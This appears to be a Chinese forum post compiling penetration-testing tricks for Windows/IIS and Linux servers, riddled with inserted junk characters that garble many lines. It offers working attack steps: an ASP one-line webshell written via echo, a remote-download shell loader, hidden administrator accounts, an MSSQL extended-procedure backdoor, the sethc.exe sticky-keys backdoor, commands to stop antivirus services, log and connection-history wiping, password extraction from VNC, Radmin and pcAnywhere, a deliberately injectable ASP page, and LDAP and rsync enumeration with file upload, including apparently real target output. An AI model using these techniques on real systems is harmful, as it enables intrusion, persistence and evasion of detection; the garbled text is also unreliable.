渗透技巧总结

admin

旁站路径问题
1、读网站配置。
9 I: q' n+ n) S9 `: V) O0 Q2、用以下VBS
' D& I0 h( s9 r: JOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
2 e, }& _- T' h& Y        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
+ ?6 c5 }) V8 L/ W! S, H/ I3 ~
Usage:Cscript vWeb.vbs",4096,"Lilo"
* h" z8 ^( `# ?' z) G/ }        WScript.Quit
End If
2 a8 U6 ?" d" f0 K: C# nSet ObjService=GetObject
, V) ~) A$ \; y8 b
2 u; K; B- Y% s3 D("IIS://LocalHost/W3SVC")
, ~2 C  t0 E$ {6 Y' A8 e8 dFor Each obj3w In objservice
1 h9 z) h. W4 r" K5 r) E1 m        If IsNumeric(obj3w.Name)
) F1 z+ G9 f0 H. f" F7 J0 U
( n- p0 ^( K  p9 C7 bThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
3 ]3 _) ~) ]) h5 e1 A( j3 I         
& G4 s2 l" b$ U$ T7 q
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

7 h' j2 a8 L; k4 ^<> 0 Then WScript.Quit (1)
: Z3 w" b  `) Z# s2 `, o/ C                WScript.Echo Chr(10) & "[" &

4 ]0 j  t9 N6 AOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
0 d. n; V$ g! t1 M5 Z9 o3 o     

% t" k5 l4 x  U' S                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
7 J9 ~9 B; z" ]( p3 p- P* d1 o+ O4 y                        

$ p* [& |* H" xWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
: Q7 k2 ]) k" E0 x, H* w( }                Next
; N; L$ q3 O( ~% Y/ z3 e2 o      
; l/ S0 c: U! v$ J/ T$ ^7 ^
: f" \0 Y$ v* ^0 c         WScript.Echo "ath            : " & VDirObj.Path
9 ]! w! h+ G2 i) E; U& D5 r        End If
; V$ A; J' @. [2 v& u: t) {7 rNext
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
) j9 b9 \1 G- X2 D5 p* {0 F4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
6 ~% C2 l; M- d0 O- ]2 P( O- M$ rWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
0 g) p' |5 A/ l——————————————————————
phpMyAdmin暴路径办法:
3 A9 T0 `  n. q5 \! CphpMyAdmin/libraries/select_lang.lib.php
* l: x* C- s/ V- T& dphpMyAdmin/darkblue_orange/layout.inc.php
$ C% M6 I" Y; T0 i1 k/ s7 GphpMyAdmin/index.php?lang[]=1
, Q6 G- C# e! v" Sphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
3 ~: l1 p3 l6 x7 K9 Jdata/htdocs.网站/网站/
————————————————————
# k  c/ A3 P* x/ {# q9 BCMD下操作VPN相关
" K8 O7 V4 t% ]& ?1 E3 S9 Enetsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
7 {: @$ q2 H8 R8 g9 o# ]netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
6 }. U4 y" A) b% R- knetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
9 T9 ~4 o2 k" V% v; A1 t命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
8 y+ P5 ~* [6 `+ P; ~EXEC sp_addsrvrolemember 'test, 'sysadmin'
# e9 H) O7 x4 ~0 w. P然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

; t( k) [+ v3 B2 e另类的加用户方法
6 J- {5 J1 E8 {& ^$ Y0 S在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
3 ^1 T' ?0 ?. O7 @+ \! J% ?var o=new ActiveXObject( "Shell.Users" );
/ b( {- u6 t9 zz=o.create("test") ;
z.changePassword("123456","")
- a2 V" C. _/ F0 z. f- Bz.setting("AccountType")=3;
( Y* }. a# d, v2 H
vbs:
2 i' {. n$ z' x  L$ U5 {3 USet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
9 p, I( X' w3 A, ^z.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

: q5 G1 u2 [6 f+ E- z命令如下
  z6 b6 S/ o' S4 j$ r1 Xcacls c: /e /t /g everyone:F           #c盘everyone权限
" F# x, Z! @: Mcacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
! M0 G' v% ^6 J. x# N3389相关
7 [( s; |- s( N/ `% q  Q3 d# da、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
: p) v0 _! }8 z' P1 m8 G8 Eb、内网环境（LCX）
c、终端服务器超出了最大允许连接
9 R6 m$ g+ v$ k7 \2 ^# Y  EXP 运行mstsc /admin
! X8 E+ |4 R) A; b+ X2003 运行mstsc /console   

6 o' Z# G; `' C0 g8 I8 p2 h杀软关闭（把杀软所在的文件的所有权限去掉）
! t0 W9 H) R2 H! U- x处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
' w: {2 t/ i4 y; J6 {net stop "Symantec AntiVirus Definition Watcher" /y
) x5 H6 q" T5 r  G! bnet stop "Symantec Event Manager" /y
) z0 X9 G4 F, [/ Z5 Knet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
4 u! }3 v3 b6 W3 c! G* x
2 e# n- x6 E2 e$ i  O- \4 I3 Z卖咖啡：net stop "McAfee McShield"
  V7 C- n: \: g————————————————————
4 Y1 A2 M0 T/ o2 v: X! {0 X' p
( U  U9 x, r3 ]$ c9 y5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
( j7 ~. `! ]+ ]/ g3 B# M/ o3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
/ e1 }, m/ W7 x1 l2 B: ?1 ~5 _2 ?MSSQL扩展后门：
USE master;
+ w' p( Q9 a1 N5 n0 W4 HEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
( _! m& A$ _1 A+ }3 nGRANT exec On xp_helpsystem TO public;
———————————————————————
2 ~" a- N0 a( T9 x% V! g' B日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
* x1 L8 r+ v/ _, Eex011120.log / ex011121.log / ex011124.log三个文件，
' U) @' ]6 L. j- ?2 W" q6 C: ?直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

) q: W% D2 {" ^, CMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
* k) p; }5 c) Y: KHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
, e; _$ i; s2 g& f5 Y% M找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

  o# D) ~: D; g9 v8 g4 e$ O% {Server\90\Tools\Shell\mru.dat
, Q8 r, ~3 @1 }( V5 g. o—————————————————————————
/ B8 [+ ^! v& b" r5 L2 H防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
- V0 G$ t& U: o5 x
3 @1 d; t( X# b9 O0 x3 D2 t% D<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
- |! P0 [4 V9 n+ `+ ~# R: pDim Ads, Retrieval, GetRemoteData
On Error Resume Next
# x. \+ A( z( O; }' DSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
3 m, `3 S: x6 K, D: N. IWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
3 N# M3 `+ a# |  hSet Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
# f* Q- s* W6 Y+ e4 z: m$ `" ]) wWith Ads
.Type = 1
) O# ^& Z/ H+ s9 W3 `.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
$ p$ s2 o5 M8 ^% X.Cancel()
.Close()
End With
  s) y) g8 u0 jSet Ads=nothing
End Sub
' V1 F* t+ X, i( x; Y: j8 E
4 O9 m0 z  x1 F9 Z2 `; O4 H5 u0 D. oeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
3 e* C; ]& y6 ^0 g3 u%>
& v1 Q2 O5 Z, u+ ~
; B3 I& K, C* OVNC提权方法:
4 Z9 o" c' \  l0 q: j8 X利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
. P1 E; Y/ c, X# W4 e; U注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
1 D4 N) D3 H% lHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
- j, B* r& N  y3 T如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
* V. }3 ~3 `2 m2 a; c& d5 Q保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
4 \; |" u3 N) v: EUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
1 e" p, H# m7 o4 @5 mWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
! D4 a2 Z; `1 X) L# S( ^: g
! L, X! ]3 ~  h6 p! t' o9 o4 y1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
/ y( a5 J7 K: m. hstrSQLDBPassword = "数据库密码"
; q) K- L+ Y; D) T" vstrSQLDBName = "数据库名称"
' Z) u/ U/ @+ F+ x# |8 p$ @3 T0 pSet conn = Server.createObject("ADODB.Connection")
+ Z& G* q) {4 M7 p5 y) vstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
2 `/ \. b; c6 Z7 E
  E0 I1 `! K5 y, I( O";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

" v' n- N$ j$ U) d2 K& h5 @strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
5 Y. e5 Z( E+ `& {, S) C  ?$ Hset rs=server.createobject("ADODB.recordset")
id = request("id")
3 T7 M: \* Z( W" _0 W" astrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
) H3 O1 z' u7 c5 S: Crs.close
%>
; Y! f+ H0 Q$ ?% A5 B! o+ {复制代码
******liunx 相关******
2 C9 A6 |* i& l3 d: N# u! i( G一.ldap渗透技巧
8 h2 ^$ P8 u& `' y/ w) l1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
/ F4 I1 v. d( u+ j9 ^base ou=People,dc=unix-center,dc=net
6 P& I* e1 z& d" g1 y' J找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
# q" {" q$ `. r1 \5 f/ W. b6 `
( ^6 v/ ]2 k; w1 L$ m$ u"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
6 }1 {& j. y: R' e% {* {# b有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
4 B" e- \  v5 S& u% k
4 U, B) }' u; H+ j! `"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
8 q9 l+ K4 }" B: z5 c  X

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
$ R4 ?# N/ B! ?. l$ A4 M
3 r4 n5 _/ x- d" m- q1 N5 m, C实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
7 g1 g7 Y# C  K0 i( A- U, a/ \6 q
) F# W+ ]( i& D& W; l( m* M2.less /etc/ldap.conf
# H) {# A* @' ^+ u5 N  d# V' xbase ou=People,dc=unix-center,dc=net
8 n( h) k* u( g7 b* H8 ~9 |找到ou,dc,dc设置

3.查找管理员信息
5 [5 r! A' B5 J3 H, @匿名方式
4 Q+ T: z5 E% dldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

+ v1 s: o6 E8 Y  S2 K9 V0 E"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
$ j6 Z0 {  C/ A6 D% x( d2 Q有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
% C% A$ u; f$ l
6 D1 f* J/ E' ]* G' _' I"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
, D8 V5 ^+ ~) e$ u9 J
6 c4 ]6 m7 H/ I" U" m
4 V$ a6 d, ~: W9 ]3 ^4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

3 l9 W( G, {$ z( F% l( r, @渗透实战:
. I- L/ \, z2 H8 ?. k1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
' `9 B: |' \" b( w. H& b" t4 l% q8 Udn: dc=ruc,dc=edu,dc=cn
dc: ruc
4 A! q/ L6 a9 NobjectClass: domain
9 U/ X: C7 Q; b* W/ A  i
dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
: U7 [! y' ~2 o9 mobjectClass: top
0 n4 I6 ~( K; y' T' U; o5 D0 c5 Ssn: manager
& V6 {- g  q0 ccn: manager

! T) S0 n. c7 l% Ydn: uid=superadmin,dc=ruc,dc=edu,dc=cn
* G) x* n  Z# Z- m8 uuid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
1 w3 X8 w& V9 }6 b: `2 A, SobjectClass: person
objectClass: top
1 }# `& P0 _3 ^* Y' E0 m& U% C( |9 Zsn: superadmin
+ _& `  T4 ]* \9 icn: superadmin
" C) w0 U- P. f6 L
dn: uid=admin,dc=ruc,dc=edu,dc=cn
  Z; {5 `/ N. @2 S  Puid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
& Z" g; o% E, B. K% _sn: admin
4 o+ H( u; w) [6 x6 u, a0 Jcn: admin

/ O" y4 O2 R9 Y; p6 s/ z+ jdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
* [7 K+ }( c2 \# i9 L: x) s( M7 xuid: dcp_anonymous
objectClass: top
$ R4 q! H' \" x$ u" mobjectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous
3 Q& {( ^# t" I" E) \. L# }& P
3 a; b$ a' @2 i7 W' F2.查看基类
2 ]# S- l" i' |$ }9 t4 Vbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

! T1 N9 Q8 i1 L* |$ d3 j0 r# c7 O2 wmore
version: 1
. g2 x! m% d6 G9 s5 A* w/ |0 z( rdn: dc=ruc,dc=edu,dc=cn
9 o6 X& `! {) @3 p3 Vdc: ruc
& i7 H9 E1 _4 v/ Q* Q" }8 W$ XobjectClass: domain
+ L8 J$ ]* s* T. v0 A' ]
) J( M0 |0 c% ~2 P! p0 W+ V3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
/ H8 b* N$ I) F$ Lversion: 1
dn:
# w' U  n: X0 J; E( O- b; sobjectClass: top
) C4 v% o5 j) ?8 O: L* @namingContexts: dc=ruc,dc=edu,dc=cn
( E/ j% w3 \' CsupportedExtension: 2.16.840.1.113730.3.5.7
$ ^6 d# G# D$ j+ W  a( rsupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
& d5 z# y! B9 B- |% {; YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
' {* R# z1 o0 \4 j5 y+ b0 }  j* rsupportedExtension: 2.16.840.1.113730.3.5.3
; P$ l' q4 Y7 XsupportedExtension: 2.16.840.1.113730.3.5.5
$ W& {" j2 m+ i# N# NsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
$ J7 z* k, C& ^+ }0 Q$ t1 QsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
* G! e5 K: U: k8 E# s- v' n8 f0 dsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
0 G" D6 [) F" O& h% W4 p7 OsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
, |6 ?2 _; I+ n. P1 L' O5 f# AsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
7 o0 W; q- H" V/ m3 C8 w- osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
0 K' S! k4 c1 \- W0 H2 fsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
2 N) y2 S9 n3 H; g6 d' {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
" J1 y5 N) p/ MsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
4 @. W( K/ Z) k  J( G3 v: M2 KsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
" A/ N0 y5 @% p7 l7 T; o4 Z) ~( A4 ]* QsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
- K  q, F4 W, a* H& r0 `" A" KsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
$ {: c) b& r4 N( c, S- O: ]supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
/ f5 h2 _6 D& {6 \0 F' [supportedControl: 2.16.840.1.113730.3.4.3
8 r/ T1 M0 S4 E9 ~* R; rsupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
8 \) S- I/ J7 M% h- v! U: CsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
1 H* V0 r7 ^4 o2 isupportedControl: 2.16.840.1.113730.3.4.16
# i4 [# F3 ]6 v0 J  TsupportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
+ r% p. l  B5 f  s; y2 s4 wsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
$ P6 E  e, F' L0 o5 P- asupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
- c* n# t; U' _5 V$ `* L% gsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
. X: U" J% i4 O1 C6 g# X0 dsupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
% B. Y$ l  B* P$ S4 nsupportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
9 f) [; b" m& b- h$ [$ JsupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
( U* g9 h3 ]+ }' h: WsupportedLDAPVersion: 3
4 D3 _8 ^$ u: C* Y9 Y3 {5 lvendorName: Sun Microsystems, Inc.
" `* F) \; A7 x3 pvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
2 x) Z- r7 r. X0 T0 l$ ^supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
0 m) ?  T# g" UsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
/ t2 ?" \. C! J# z+ z" EsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
: n4 X1 Z" U1 E& v6 _4 |supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
  h3 j8 X7 \7 l$ `# m' O* W; jsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
1 t( K( x8 Q* \7 }supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
5 N# D- [4 _; k$ a7 ^supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
6 k" E; c6 J$ y% \- p; fsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
' I; M, h6 g# i1 N% w  s. jsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
2 Z0 _0 T1 ^* X/ Z2 `supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
' z1 c% ^0 e% c$ w! F0 a  ZsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
+ \6 H4 S0 |7 Z* O/ ?supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
7 r" d! ]8 d! m. I; psupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
' R* _' z2 u5 R$ J- J3 l$ tsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
! ~; Z1 ^* N9 b; `3 c% a9 H, D/ ~supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
( `* G" E$ @" H' g$ l  _$ R% psupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
7 T6 f) Q" N* E7 VsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
9 r5 R6 g4 x$ _; w% {+ nsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
% A! b+ M$ H% Z+ x9 }* r( NsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
9 i8 U% W+ v; l  g$ G2 zsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
( {, M; c0 f) ^8 f' o1 @: B# xsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
! }/ \2 C. f% r( _: msupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
/ X5 B. Z5 J" _8 f0 @7 EsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
1 Q+ M/ r4 ^: b' a" a( Z) ^# UsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
4 Q/ G+ [9 ^+ I8 l9 _showmount -e ip
2 d& x4 n& Y/ @; s: d1 R列举IP
4 T) M; y9 @- o) ]4 ]——————
8 q8 F  j: Z8 Z: j* |5 }3.rsync渗透技巧
1 r! S- K) L. M3 M6 ]3 F; k* E* ^; a1.查看rsync服务器上的列表
rsync 210.51.X.X::
8 [6 R, }. Z1 e" pfinance
' o0 ], I+ E' H1 c6 @. pimg_finance
, `$ H, `% O1 p+ k: Lauto
img_auto
2 n$ N0 |; l1 k6 j) Y5 Mhtml_cms
3 ?% }( U) s" {$ R) e' t( o9 G$ _img_cms
ent_cms
ent_img
4 x* e; P, V8 Z, X# gceshi
res_img
res_img_c2
$ J# S8 f8 B" H9 W5 Z' tchip
chip_c2
ent_icms
3 x$ Q+ R. g# o: A3 b  ~" n. i' Egames
gamesimg
& j4 Q8 y( w/ F5 smedia
mediaimg
fashion
9 V$ \/ l. G6 [res-fashion
res-fo
8 W8 w" I0 j, T" o% ctaobao-home
res-taobao-home
. z1 ]: {, |# Y+ i* Ahouse
: s; k. h5 \+ I( Ures-house
/ ?5 ^4 O/ M* }# n. ?/ ?8 u3 ]$ kres-home
0 W, v# l5 S) `+ V5 }6 |, S0 ^' nres-edu
! {8 {; P4 k" n5 r9 ~0 t$ K5 Sres-ent
$ v$ S' ?* V% L. V! y/ C0 @4 Vres-labs
res-news
5 H' ~$ M/ S* O+ u9 xres-phtv
res-media
home
& |: F& |$ q% z+ q) o- ]edu
news
res-book
3 A4 V% m% S: c( K9 ]
看相应的下级目录(注意一定要在目录后面添加上/)
$ s3 {+ c, ~+ H9 m' U' w

4 U- k9 W/ `- l/ H% G( v' {rsync 210.51.X.X::htdocs_app/
( [% m5 ?; J, ~rsync 210.51.X.X::auto/
# {3 }* A. v3 V" K7 ursync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
7 S. P0 Z& [3 Q. e7 b7 J( g2 Q; {rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
+ t) T' x  f0 s" ^- n3 C9 P* }
" P' p) ~5 V/ j5 \2 J+ F3.向上更新rsync文件(成功上传,不会覆盖)
+ Q2 t7 N" w! f1 h9 F/ Irsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
' b+ y$ l4 |8 j/ O; n& L6 zhttp://app.finance.xxx.com/warn/nothack.txt

' x$ ~; A- M$ G四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
6 S9 m) Q3 A4 f& h9 Y0 l- Q* n) n1 i; nGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
